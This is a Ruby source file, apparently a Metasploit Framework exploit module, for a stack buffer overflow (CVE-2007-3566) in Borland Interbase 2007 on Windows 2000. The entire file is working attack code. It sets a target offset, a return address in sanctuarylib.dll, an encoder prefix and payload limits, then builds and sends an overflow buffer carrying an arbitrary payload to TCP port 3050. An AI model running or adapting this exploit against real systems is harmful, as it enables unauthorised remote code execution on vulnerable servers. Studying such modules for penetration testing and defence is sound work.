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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | ## # $Id: borland_interbase.rb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Borland Interbase Create-Request Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Borland Interbase 2007. By sending a specially crafted create-request packet, a remote attacker may be able to execute arbitrary code. }, 'Author' => 'MC', 'Version'=> '$Revision: 9525 $', 'References' => [ [ 'CVE', '2007-3566' ], [ 'OSVDB', '38602' ], [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 850, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll ], 'Privileged' => true, 'DefaultTarget'=> 0, 'DisclosureDate' => 'Jul 24 2007')) register_options([Opt::RPORT(3050)], self.class) end def exploit connect # Build the exploit buffer.... It's a biggie! sploit ="\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset']) sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000) print_status("Trying target #{target.name}...") sock.put(sploit) handler disconnect end end |
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